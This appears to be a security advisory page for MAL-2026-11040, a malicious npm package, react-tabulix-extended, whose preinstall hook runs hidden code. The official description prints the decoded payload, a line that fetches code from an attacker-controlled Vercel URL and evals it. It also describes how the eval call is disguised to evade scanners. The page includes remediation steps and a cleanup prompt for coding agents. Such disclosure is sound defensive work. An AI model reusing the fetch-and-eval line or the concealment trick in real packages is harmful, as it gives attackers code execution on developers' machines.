# MAL-2026-11040: Malicious code in react-tabulix-extended (npm)


- **Type:** Malicious package
- **Package:** `react-tabulix-extended` (npm)
- **Published:** 22 Jul 2026

## What is MAL-2026-11040?

MAL-2026-11040 is a malicious package in react-tabulix-extended, published on 22 Jul 2026. 

### Official description

package.json declares `preinstall: node./dist/index.d.js`, which fires automatically on `npm install`. The script contains a base64-encoded payload that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text()))`. The `eval` identifier is reconstructed from the char-code array [101,118,97,108] and invoked via `globalThis[tag](text)` to conceal the sink from static scanners. The result is arbitrary remote-code execution on the installer's machine at install time, with the payload served dynamically from an attacker-controlled Vercel endpoint so the executed code can change at any time.

The OpenSSF Package Analysis project identified 'react-tabulix-extended' @ 0.1.7 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-11040?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-11040 is a malicious package: react-tabulix-extended (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-11040/ (Markdown: https://insights.sbomify.com/MAL-2026-11040/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-11040

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-11040/
Summaries are generated and may contain mistakes; the official description above is the record.